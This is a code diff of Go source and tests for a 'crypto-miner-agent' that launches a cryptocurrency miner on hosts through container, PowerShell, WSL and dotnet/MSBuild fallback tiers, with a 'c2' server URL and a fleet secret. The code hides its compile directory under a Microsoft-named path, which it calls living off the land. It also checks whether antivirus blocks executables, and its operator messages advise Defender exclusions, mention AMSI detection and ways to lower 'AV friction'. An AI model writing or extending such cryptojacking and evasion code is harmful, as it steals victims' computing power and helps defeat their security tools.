return fmt.Errorf("%s run failed: %w", l.runtime.CLI, err)
}
l.cmd = cmd
l.running = true
mode := "registry"
if l.tarPath != "" {
mode = "docker_load"
}
log.Printf("[container] started %s (%s) image=%s mode=%s wallet=%s", l.name, l.runtime.CLI, l.image, mode, l.cfg.Wallet)
go l.waitExit()
return nil
}
func (l *ContainerLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
if err != nil {
log.Printf("[container] miner container exited: %v — host will fall back to in-process mining if configured", err)
} else {
log.Printf("[container] miner container stopped")
}
}
// Stop removes the running container.
func (l *ContainerLauncher) Stop() {
l.mu.Lock()
running := l.running
l.mu.Unlock()
if !running {
return
}
_ = containerExecCommand(l.runtime.CLI, "rm", "-f", l.name).Run()
l.mu.Lock()
if l.cmd != nil && l.cmd.Process != nil {
_ = l.cmd.Process.Kill()
}
l.running = false
l.cmd = nil
l.mu.Unlock()
}
// Image returns the OCI image reference used for the miner workload.
func (l *ContainerLauncher) Image() string {
return l.image
}
// Running reports whether the launcher believes the container is active.
func (l *ContainerLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}
func (l *ContainerLauncher) loadImageFromTar() (string, error) {
cmd := containerExecCommand(l.runtime.CLI, "load", "-i", l.tarPath)
var buf bytes.Buffer
cmd.Stdout = &buf
cmd.Stderr = &buf
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("%s load failed: %w (%s)", l.runtime.CLI, err, strings.TrimSpace(buf.String()))
}
for _, line := range strings.Split(buf.String(), "\n") {
line = strings.TrimSpace(line)
if after, ok := strings.CutPrefix(line, "Loaded image:"); ok {
return strings.TrimSpace(after), nil
}
if after, ok := strings.CutPrefix(line, "Loaded image ID:"); ok {
return strings.TrimSpace(after), nil
}
}
return "", nil
}
func (l *ContainerLauncher) buildRunArgs() []string {
args := []string{
"run", "--rm", "-d",
"--name", l.name,
}
if l.tarPath != "" {
args = append(args, "--pull=never")
}
if l.readOnly {
args = append(args, "--read-only", "--tmpfs", "/tmp")
}
if runtime.GOOS == "linux" {
args = append(args, "--network", "host")
}
if l.cfg.GPUEnabled {
args = append(args, "--gpus", "all")
}
env := l.containerEnv()
for _, e := range env {
args = append(args, "-e", e)
}
args = append(args, l.image)
return args
}
func (l *ContainerLauncher) containerEnv() []string {
threads := l.cfg.EffectiveThreads()
pairs := map[string]string{
"AETHERFORGE_SERVER_URL": l.cfg.ServerURL,
"AETHERFORGE_WALLET": l.cfg.Wallet,
"AETHERFORGE_WORKER": l.cfg.WorkerName,
"AETHERFORGE_POOL_HOST": l.cfg.PoolHost,
"AETHERFORGE_POOL_PORT": fmt.Sprintf("%d", l.cfg.PoolPort),
"AETHERFORGE_POOL_TLS": boolEnv(l.cfg.PoolTLS),
"AETHERFORGE_POOL_PASS": l.cfg.PoolPass,
"AETHERFORGE_THREADS": fmt.Sprintf("%d", threads),
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
"AETHERFORGE_FLEET_SECRET": l.cfg.FleetSecret,
"MINER_LOG_FILE": "/tmp/miner.log",
}
if l.cfg.RVNWallet != "" {
pairs["AETHERFORGE_RVN_WALLET"] = l.cfg.RVNWallet
pairs["AETHERFORGE_RVN_POOL_HOST"] = l.cfg.RVNPoolHost
pairs["AETHERFORGE_RVN_POOL_PORT"] = fmt.Sprintf("%d", l.cfg.RVNPoolPort)
pairs["AETHERFORGE_GPU_ENABLED"] = boolEnv(l.cfg.GPUEnabled)
}
out := make([]string, 0, len(pairs))
for k, v := range pairs {
if v != "" {
out = append(out, k+"="+v)
}
}
return out
}
func boolEnv(v bool) string {
if v {
return "1"
}
return "0"
}

View File

@@ -0,0 +1,236 @@
package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func longRunningTestCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("ping", "-n", "600", "127.0.0.1")
}
return exec.Command("sleep", "600")
}
func quickExitTestCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("cmd", "/c", "exit", "0")
}
return exec.Command("true")
}
func dockerEnvFromArgs(args []string) map[string]string {
out := make(map[string]string)
for i := 0; i < len(args); i++ {
if args[i] != "-e" || i+1 >= len(args) {
continue
}
i++
k, v, ok := strings.Cut(args[i], "=")
if !ok {
continue
}
out[k] = v
}
return out
}
func TestContainerLauncherStartWithFakeRuntime(t *testing.T) {
const customImage = "registry.example/aether-worker:test"
t.Setenv("AETHERFORGE_MINER_IMAGE", customImage)
var gotCLI string
var gotArgs []string
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
if len(args) > 0 && args[0] == "rm" {
return quickExitTestCmd()
}
gotCLI = name
gotArgs = append([]string(nil), args...)
return longRunningTestCmd()
})
defer SetContainerExecCommand(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "test-build",
ServerURL: "http://c2.example",
Wallet: "XMR:wallet",
WorkerName: "worker-1",
PoolHost: "pool.example.com",
PoolPort: 3333,
PoolTLS: true,
PoolPass: "x",
ThreadMode: "fixed",
Threads: 4,
FleetSecret: "fleet-secret",
},
}
rt := ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
launcher, err := NewContainerLauncher(cfg, rt)
if err != nil {
t.Fatalf("NewContainerLauncher: %v", err)
}
if launcher.Image() != customImage {
t.Fatalf("Image()=%q want %q", launcher.Image(), customImage)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
if gotCLI != "docker" {
t.Fatalf("runtime CLI=%q want docker", gotCLI)
}
wantPrefix := []string{"run", "--rm", "-d", "--name", "aetherforge-miner-test-build"}
if len(gotArgs) < len(wantPrefix) {
t.Fatalf("args=%v too short, want prefix %v", gotArgs, wantPrefix)
}
for i, w := range wantPrefix {
if gotArgs[i] != w {
t.Fatalf("args[%d]=%q want %q full=%v", i, gotArgs[i], w, gotArgs)
}
}
if runtime.GOOS == "linux" {
if !containsSeq(gotArgs, "--network", "host") {
t.Fatalf("linux args missing --network host: %v", gotArgs)
}
}
if gotArgs[len(gotArgs)-1] != customImage {
t.Fatalf("image arg=%q want %q", gotArgs[len(gotArgs)-1], customImage)
}
env := dockerEnvFromArgs(gotArgs)
wantEnv := map[string]string{
"AETHERFORGE_SERVER_URL": "http://c2.example",
"AETHERFORGE_WALLET": "XMR:wallet",
"AETHERFORGE_WORKER": "worker-1",
"AETHERFORGE_POOL_HOST": "pool.example.com",
"AETHERFORGE_POOL_PORT": "3333",
"AETHERFORGE_POOL_TLS": "1",
"AETHERFORGE_POOL_PASS": "x",
"AETHERFORGE_THREADS": "4",
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
"AETHERFORGE_FLEET_SECRET": "fleet-secret",
"MINER_LOG_FILE": "/tmp/miner.log",
}
for k, want := range wantEnv {
if got := env[k]; got != want {
t.Fatalf("env[%s]=%q want %q", k, got, want)
}
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
if err := launcher.Start(); err != nil {
t.Fatalf("second Start: %v", err)
}
if !launcher.Running() {
t.Fatal("Running() false after idempotent Start")
}
}
func TestContainerLauncherDockerLoadFromTar(t *testing.T) {
dir := t.TempDir()
tarPath := filepath.Join(dir, "worker.tar")
if err := os.WriteFile(tarPath, []byte("fake"), 0644); err != nil {
t.Fatal(err)
}
var calls [][]string
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
copied := append([]string{name}, args...)
calls = append(calls, copied)
if len(args) > 0 && args[0] == "load" {
if runtime.GOOS == "windows" {
return exec.Command("cmd", "/c", "echo Loaded image: aetherforge/agent-worker:tar")
}
return exec.Command("sh", "-c", "echo 'Loaded image: aetherforge/agent-worker:tar'")
}
if len(args) > 0 && args[0] == "rm" {
return quickExitTestCmd()
}
return longRunningTestCmd()
})
defer SetContainerExecCommand(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "tar-test",
Wallet: "XMR:wallet",
PoolHost: "pool.example.com",
PoolPort: 3333,
},
}
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
launcher, err := NewContainerLauncherFromTar(cfg, rt, tarPath)
if err != nil {
t.Fatalf("NewContainerLauncherFromTar: %v", err)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
foundLoad := false
foundNeverPull := false
foundReadOnly := false
for _, call := range calls {
if len(call) >= 3 && call[1] == "load" && call[3] == tarPath {
foundLoad = true
}
for i, arg := range call {
if arg == "--pull=never" {
foundNeverPull = true
}
if arg == "--read-only" {
foundReadOnly = true
}
if arg == "--gpus" && i+1 < len(call) && call[i+1] == "all" {
// gpu flag present when GPU enabled — optional in this cfg
}
}
}
if !foundLoad {
t.Fatalf("docker load not invoked, calls=%v", calls)
}
if !foundNeverPull {
t.Fatalf("expected --pull=never, calls=%v", calls)
}
if !foundReadOnly {
t.Fatalf("expected --read-only, calls=%v", calls)
}
}
func containsSeq(args []string, seq ...string) bool {
if len(seq) == 0 || len(args) < len(seq) {
return false
}
for i := 0; i <= len(args)-len(seq); i++ {
match := true
for j := range seq {
if args[i+j] != seq[j] {
match = false
break
}
}
if match {
return true
}
}
return false
}

View File

@@ -0,0 +1,236 @@
package miner
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath.
var (
dotnetBin = "dotnet"
msbuildBin = "MSBuild"
dotnetExecCommand = exec.Command
)
// SetDotnetBinPath overrides the dotnet CLI binary (restore with "").
func SetDotnetBinPath(path string) {
if strings.TrimSpace(path) == "" {
dotnetBin = "dotnet"
return
}
dotnetBin = path
}
// SetMSBuildBinPath overrides the MSBuild binary (restore with "").
func SetMSBuildBinPath(path string) {
if strings.TrimSpace(path) == "" {
msbuildBin = "MSBuild"
return
}
msbuildBin = path
}
// SetDotnetExecCommand restores default when fn is nil.
func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
dotnetExecCommand = exec.Command
return
}
dotnetExecCommand = fn
}
// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL).
type DotnetLauncher struct {
cfg config.RuntimeConfig
workDir string
tool string // "dotnet" or "msbuild"
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewDotnetLauncher validates platform, pool, and toolchain availability.
func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) {
if runtime.GOOS != "windows" {
return nil, fmt.Errorf("dotnet tier requires Windows")
}
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
return nil, fmt.Errorf("pool host/port required for dotnet stratum tier")
}
if strings.TrimSpace(cfg.Wallet) == "" {
return nil, fmt.Errorf("wallet required for dotnet stratum tier")
}
tool, err := resolveDotnetToolchain()
if err != nil {
return nil, err
}
workDir, err := lotlWorkDir(cfg, "Stratum")
if err != nil {
return nil, err
}
return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil
}
func resolveDotnetToolchain() (string, error) {
if _, err := exec.LookPath(dotnetBin); err == nil {
return "dotnet", nil
}
if _, err := exec.LookPath(msbuildBin); err == nil {
return "msbuild", nil
}
return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH")
}
// WorkDir returns the LOTL compile output directory.
func (l *DotnetLauncher) WorkDir() string {
return l.workDir
}
// Toolchain reports dotnet or msbuild.
func (l *DotnetLauncher) Toolchain() string {
return l.tool
}
// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute.
func (l *DotnetLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
if err := l.materializeProject(); err != nil {
return err
}
if err := l.compile(); err != nil {
return err
}
cmd, err := l.launchMiner()
if err != nil {
return err
}
l.cmd = cmd
l.running = true
log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d",
l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
go l.waitExit()
return nil
}
func (l *DotnetLauncher) materializeProject() error {
if err := os.MkdirAll(l.workDir, 0o755); err != nil {
return fmt.Errorf("mkdir workdir: %w", err)
}
csPath := filepath.Join(l.workDir, "Program.cs")
if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil {
return fmt.Errorf("write Program.cs: %w", err)
}
projPath := filepath.Join(l.workDir, "StratumMiner.csproj")
if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil {
return fmt.Errorf("write csproj: %w", err)
}
return nil
}
func (l *DotnetLauncher) compile() error {
switch l.tool {
case "dotnet":
cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q")
cmd.Dir = l.workDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
case "msbuild":
proj := filepath.Join(l.workDir, "StratumMiner.csproj")
cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q")
cmd.Dir = l.workDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
default:
return fmt.Errorf("unknown toolchain %q", l.tool)
}
}
func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) {
switch l.tool {
case "dotnet":
cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build")
cmd.Dir = l.workDir
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("dotnet run failed: %w", err)
}
return cmd, nil
case "msbuild":
exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe")
if _, err := os.Stat(exe); err != nil {
exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe")
}
cmd := dotnetExecCommand(exe)
cmd.Dir = l.workDir
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("run compiled exe failed: %w", err)
}
return cmd, nil
default:
return nil, fmt.Errorf("unknown toolchain %q", l.tool)
}
}
func (l *DotnetLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
if err != nil {
log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err)
} else {
log.Printf("[dotnet-tier] miner process stopped")
}
}
// Stop terminates the running LOTL miner process.
func (l *DotnetLauncher) Stop() {
l.mu.Lock()
cmd := l.cmd
running := l.running
l.mu.Unlock()
if !running || cmd == nil {
return
}
if cmd.Process != nil {
_ = cmd.Process.Kill()
}
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
}
// Running reports whether the LOTL miner is active.
func (l *DotnetLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}

View File

@@ -0,0 +1,151 @@
package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func fakeDotnetRecorder(t *testing.T) string {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
bat := filepath.Join(dir, "fake-dotnet.cmd")
body := `@echo off
if "%1"=="build" exit /b 0
if "%1"=="run" (
ping -n 3 127.0.0.1 >nul
exit /b 0
)
exit /b 0
`
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return bat
}
sh := filepath.Join(dir, "fake-dotnet.sh")
body := `#!/bin/sh
case "$1" in
build) exit 0 ;;
run) sleep 1 ;;
esac
exit 0
`
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return sh
}
func TestDotnetLauncherMaterializeAndStart(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("dotnet tier is Windows-only")
}
bin := fakeDotnetRecorder(t)
SetDotnetBinPath(bin)
SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd {
return exec.Command(name, args...)
})
defer func() {
SetDotnetBinPath("")
SetDotnetExecCommand(nil)
}()
t.Setenv("LOCALAPPDATA", t.TempDir())
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "dn-test",
Wallet: "XMR:wallet456",
WorkerName: "worker-dn",
PoolHost: "pool.example.com",
PoolPort: 4444,
PoolTLS: true,
PoolPass: "secret",
},
}
launcher, err := NewDotnetLauncher(cfg)
if err != nil {
t.Fatalf("NewDotnetLauncher: %v", err)
}
if launcher.Toolchain() != "dotnet" {
t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain())
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs"))
if err != nil {
t.Fatalf("read Program.cs: %v", err)
}
text := string(cs)
if !strings.Contains(text, "XMR:wallet456") {
t.Fatalf("Program.cs missing wallet: %s", text)
}
if !strings.Contains(text, "pool.example.com") {
t.Fatalf("Program.cs missing pool host: %s", text)
}
if !strings.Contains(text, "PoolTLS = true") {
t.Fatalf("Program.cs missing TLS flag: %s", text)
}
if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) {
t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir())
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestDefaultFallbackChainPowerShellMode(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionPowerShell,
PoolHost: "p",
Wallet: "w",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
if chain[0] != MethodPowerShell {
t.Fatalf("chain=%v want powershell first", chain)
}
}
func TestDefaultFallbackChainDotnetMode(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionDotnet,
PoolHost: "p",
Wallet: "w",
},
}, ContainerRuntimeInfo{})
if chain[0] != MethodDotnet {
t.Fatalf("chain=%v want dotnet first", chain)
}
}
func TestSelectMiningTierChainForcedPowerShell(t *testing.T) {
probes := EnvironmentProbes{PowerShell: true, DotNet: true}
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionPowerShell,
Wallet: "w",
PoolHost: "p",
PoolPort: 3333,
},
})
if len(chain) == 0 || chain[0] != TierPSInMemory {
t.Fatalf("chain=%v want ps_inmemory first", chain)
}
}

View File

@@ -0,0 +1,114 @@
package miner
import (
"os"
"os/exec"
"runtime"
"strings"
)
// EnvironmentProbes captures host capabilities that drive tier selection.
type EnvironmentProbes struct {
Docker bool `json:"docker"`
WSL bool `json:"wsl"`
PowerShell bool `json:"pwsh"`
DotNet bool `json:"dotnet"`
GPU bool `json:"gpu"`
AVBlocksExe bool `json:"av_blocks_exe"`
WebView2 bool `json:"webview2"`
}
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
var probeExecCommand = exec.Command
// SetProbeExecCommand restores the default when fn is nil.
func SetProbeExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
probeExecCommand = exec.Command
return
}
probeExecCommand = fn
}
// gpuProbeFn reports discrete GPU presence; tests inject via SetGPUProbe.
var gpuProbeFn = defaultGPUProbe
// SetGPUProbe restores the default when fn is nil.
func SetGPUProbe(fn func() bool) {
if fn == nil {
gpuProbeFn = defaultGPUProbe
return
}
gpuProbeFn = fn
}
func defaultGPUProbe() bool {
return false
}
// ProbeEnvironment gathers tier eligibility signals from the local host.
func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
if runtimeFn == nil {
runtimeFn = RuntimeDetector
}
rt := runtimeFn()
p := EnvironmentProbes{
Docker: rt.Available,
GPU: gpuProbeFn(),
}
if runtime.GOOS == "windows" {
wsl := WSLDetector()
p.WSL = wsl.Available
p.PowerShell = probePowerShell()
p.DotNet = probeDotNet()
p.WebView2 = probeWebView2()
p.AVBlocksExe = inferAVBlocksExe()
} else if runtime.GOOS == "linux" {
p.PowerShell = commandOK("pwsh", "--version") || commandOK("powershell", "--version")
p.DotNet = commandOK("dotnet", "--version")
}
return p
}
func inferAVBlocksExe() bool {
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
return true
}
return false
}
func probeWSL() bool {
return commandOK("wsl", "--status") || commandOK("wsl", "-l", "-q")
}
func probePowerShell() bool {
return commandOK("pwsh", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") ||
commandOK("powershell", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major")
}
func probeDotNet() bool {
return commandOK("dotnet", "--version")
}
func probeWebView2() bool {
paths := []string{
os.Getenv("ProgramFiles") + `\Microsoft\EdgeWebView\Application`,
os.Getenv("ProgramFiles(x86)") + `\Microsoft\EdgeWebView\Application`,
}
for _, base := range paths {
if base == `\Microsoft\EdgeWebView\Application` {
continue
}
if info, err := os.Stat(base); err == nil && info.IsDir() {
return true
}
}
return commandOK("reg", "query", `HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}`)
}
func commandOK(name string, args ...string) bool {
cmd := probeExecCommand(name, args...)
cmd.Stdout = nil
cmd.Stderr = nil
return cmd.Run() == nil
}

95
agent/miner/execution.go Normal file
View File

@@ -0,0 +1,95 @@
package miner
import (
"strings"
"crypto-miner-agent/config"
)
// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled).
const (
ExecutionAuto = "auto"
ExecutionContainer = "container"
ExecutionInProcess = "inprocess"
ExecutionSubprocess = "subprocess"
ExecutionPowerShell = "powershell"
ExecutionDotnet = "dotnet"
)
// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman).
type ContainerRuntimeInfo struct {
Available bool
CLI string // "docker" or "podman"
Version string
}
// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector.
var RuntimeDetector = DetectContainerRuntime
// SetRuntimeDetector restores the default detector when fn is nil.
func SetRuntimeDetector(fn func() ContainerRuntimeInfo) {
if fn == nil {
RuntimeDetector = DetectContainerRuntime
return
}
RuntimeDetector = fn
}
// ResolveExecutionMode picks the effective miner execution path.
// auto → container when a runtime is available, otherwise inprocess.
func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) {
runtime = RuntimeDetector()
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
switch raw {
case "", ExecutionAuto:
if runtime.Available {
return ExecutionContainer, runtime
}
return ExecutionInProcess, runtime
case ExecutionContainer:
return ExecutionContainer, runtime
case ExecutionInProcess:
return ExecutionInProcess, runtime
case ExecutionSubprocess:
return ExecutionSubprocess, runtime
case ExecutionPowerShell:
return ExecutionPowerShell, runtime
case ExecutionDotnet:
return ExecutionDotnet, runtime
default:
if runtime.Available {
return ExecutionContainer, runtime
}
return ExecutionInProcess, runtime
}
}
// ContainerModeRequested reports whether forge/config asked for container isolation.
func ContainerModeRequested(cfg config.RuntimeConfig) bool {
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
return raw == ExecutionContainer || raw == ExecutionAuto || raw == ""
}
// AVBlockRecommendation returns operator guidance when mining may be AV-blocked.
func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string {
switch mode {
case ExecutionInProcess:
return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0"
case ExecutionContainer:
if runtime.Available {
return "Container mode isolates CPU mining but AV still scans docker.exe and image layers"
}
return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX"
case ExecutionSubprocess:
return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets"
case ExecutionPowerShell:
return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process"
case ExecutionDotnet:
return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process"
default:
if runtime.Available {
return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs"
}
return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path"
}
}

View File

@@ -0,0 +1,130 @@
package miner
import (
"testing"
"crypto-miner-agent/config"
)
func TestResolveExecutionModeAutoWithDocker(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0.0"}
})
defer SetRuntimeDetector(nil)
mode, rt := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
})
if mode != ExecutionContainer {
t.Fatalf("got mode %q want container", mode)
}
if !rt.Available || rt.CLI != "docker" {
t.Fatalf("runtime %+v", rt)
}
}
func TestResolveExecutionModeAutoWithoutRuntime(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
})
if mode != ExecutionInProcess {
t.Fatalf("got %q want inprocess", mode)
}
}
func TestResolveExecutionModeForcedContainer(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionContainer},
})
if mode != ExecutionContainer {
t.Fatalf("got %q want container", mode)
}
}
func TestResolveExecutionModeInProcess(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
})
if mode != ExecutionInProcess {
t.Fatalf("got %q want inprocess", mode)
}
}
func TestResolveExecutionModeSubprocess(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo { return ContainerRuntimeInfo{} })
defer SetRuntimeDetector(nil)
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionSubprocess},
})
if mode != ExecutionSubprocess {
t.Fatalf("got %q want subprocess", mode)
}
}
func TestContainerModeRequested(t *testing.T) {
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}) {
t.Fatal("empty should request auto/container")
}
if !ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "auto"}}) {
t.Fatal("auto should request container path")
}
if ContainerModeRequested(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MinerExecution: "inprocess"}}) {
t.Fatal("inprocess should not request container")
}
}
func TestResolveExecutionModePowerShell(t *testing.T) {
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionPowerShell},
})
if mode != ExecutionPowerShell {
t.Fatalf("got %q want powershell", mode)
}
}
func TestResolveExecutionModeDotnet(t *testing.T) {
mode, _ := ResolveExecutionMode(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionDotnet},
})
if mode != ExecutionDotnet {
t.Fatalf("got %q want dotnet", mode)
}
}
func TestAVBlockRecommendation(t *testing.T) {
if msg := AVBlockRecommendation(ExecutionInProcess, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
t.Fatal("expected in-process guidance")
}
if msg := AVBlockRecommendation(ExecutionContainer, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
t.Fatal("expected container guidance")
}
if msg := AVBlockRecommendation(ExecutionAuto, ContainerRuntimeInfo{Available: true, CLI: "docker"}); msg == "" {
t.Fatal("expected auto-mode guidance")
}
}
func TestNewContainerLauncherNoRuntime(t *testing.T) {
_, err := NewContainerLauncher(config.RuntimeConfig{}, ContainerRuntimeInfo{})
if err == nil {
t.Fatal("expected error without runtime")
}
}
func TestContainerNameSanitize(t *testing.T) {
name := containerName(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "build/01 test"}})
if name != "aetherforge-miner-build-01-test" {
t.Fatalf("got %q", name)
}
}

View File

@@ -0,0 +1,742 @@
package miner
import (
"context"
"errors"
"log"
"runtime"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
var (
// ErrChainExhausted is returned when every primary method in the chain failed.
ErrChainExhausted = errors.New("mining fallback chain exhausted")
// ErrMethodUnavailable is returned when hooks for a method are missing.
ErrMethodUnavailable = errors.New("mining method unavailable")
)
// MiningMethod identifies one workload path in the cascade.
type MiningMethod string
const (
MethodDockerLoad MiningMethod = "docker_load"
MethodContainer MiningMethod = "container" // LOTL tier alias: docker
MethodWSL MiningMethod = "wsl"
MethodPowerShell MiningMethod = "powershell"
MethodDotnet MiningMethod = "dotnet"
MethodInProcess MiningMethod = "inprocess"
MethodGPUSubprocess MiningMethod = "gpu_subprocess"
